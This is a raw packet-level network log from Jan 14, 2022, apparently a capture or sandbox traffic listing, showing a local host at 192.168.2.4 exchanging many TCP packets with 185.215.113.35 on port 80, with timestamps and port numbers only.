Jan 14, 2022 12:30:15.611193895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.611207962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.611366034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.611380100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.611531973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.611543894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.611704111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.611716032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.611846924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.612004042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.612277031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.612288952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.612462997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.612473965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.612647057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.612658978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.612822056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.612833977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.613001108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.613013983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.613189936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.613200903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.643716097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.643863916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.644144058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.644151926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.644277096 CET	49920	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.644340038 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.644409895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.644570112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.644577980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.644870043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.645117044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.645487070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.645499945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.645838022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.646115065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.646126986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.646132946 CET	49922	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.646341085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.646351099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.646509886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.646518946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.646625996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.646773100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.646783113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.646962881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.646971941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.647079945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.647248983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.647258043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.647434950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.647444010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.647624969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.647633076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.647816896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.647828102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.647995949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.648009062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.648166895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.648178101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.648348093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.648358107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.648520947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.648530960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.648708105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.648716927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.648896933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.648906946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.649082899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.649091959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.649269104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.649277925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.649452925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.649461985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.649637938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.649646997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.649825096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.649832964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.650029898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.650038958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.650207043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.650214911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.650427103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.650439024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.650618076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.650634050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.650816917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.650825977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.651005030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.651014090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.651202917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.651212931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.651432991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.651443005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.651551962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.651706934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.651715994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.651894093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.651902914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.652070999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.652080059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.652251005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.652259111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.652431011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.652441025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.652610064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.652617931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.652791023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.652800083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.652972937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.652982950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.653150082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.653161049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.653327942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.653337002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.662600040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.664146900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.664405107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.664618969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.664628029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.664813042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.664824963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.664995909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.665005922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.665175915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.665184975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.665364981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.665374994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.665546894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.665556908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.665749073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.665757895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.665880919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.666060925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.666069031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.666244030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.666251898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.666426897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.666434050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.666605949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.666618109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.666799068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.666807890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.666979074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.666987896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.667174101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.667182922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.667382956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.667395115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.667552948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.667562008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.667714119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.667722940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.667881012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.667891026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.668046951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.668056011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.668227911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.668237925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.668418884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.668427944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.668602943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.668612003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.668785095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.668793917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.668962002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.668971062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.669142962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.669156075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.669336081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.669344902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.669511080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.669519901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.669697046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.669706106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.669883013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.669893026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.670059919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.670068979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.670253992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.670264006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.670425892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.670437098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.670612097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.670624018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.670780897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.670789957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.670991898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.671015024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.671241045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.671441078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.671449900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.671600103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.671782017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.671791077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.671957016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.671964884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.672117949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.672126055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.672291040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.672297001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.672451973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.672460079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.672615051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.672622919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.672768116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.672884941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.672892094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.672997952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.673163891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.673170090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.673346996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.673356056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.673510075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.673516989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.673674107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.673681974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.673836946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.673844099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.674002886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.674011946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.674698114 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.686641932 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.688090086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.688308954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.688625097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.688632965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.688635111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.688819885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.688832998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.689011097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.689019918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.689192057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.689202070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.689471960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.689481020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.689611912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.689814091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.689821005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.690004110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.690011978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.690177917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.690186024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.690371990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.690380096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.690521002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.690646887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.690819979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.690829039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.691004992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.691011906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.691169024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.691176891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.691354990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.691363096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.691540956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.691549063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.691730976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.691737890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.691906929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.691915989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.692099094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.692107916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.692293882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.692302942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.692441940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.692451000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.692622900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.692632914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.692789078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.692797899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.692969084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.692980051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.693140984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.693155050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.693336964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.693346977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.693507910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.693517923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.693685055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.693695068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.693864107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.693875074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.705434084 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.705476046 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.705939054 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.706064939 CET	80	49922	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.706094027 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.708558083 CET	49922	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.709892988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.710275888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.710556984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.710577011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.710753918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.710758924 CET	49922	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.710932016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.710951090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.711121082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.711138010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.711294889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.711307049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.711488962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.711514950 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.711551905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.711576939 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.711616039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.711730003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.711921930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.711932898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.711971045 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.712105036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.712117910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.712291956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.712304115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.712476015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.712486982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.712656975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.712668896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.712847948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.712860107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.713032007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.713043928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.713133097 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.713191986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.713314056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.713325977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.713502884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.713514090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.713690042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.713701963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.713766098 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.713792086 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.713813066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.713819027 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.713864088 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.713901043 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.713907003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.714016914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.714087963 CET	49914	80	192.168.2.4	185.215.113.35
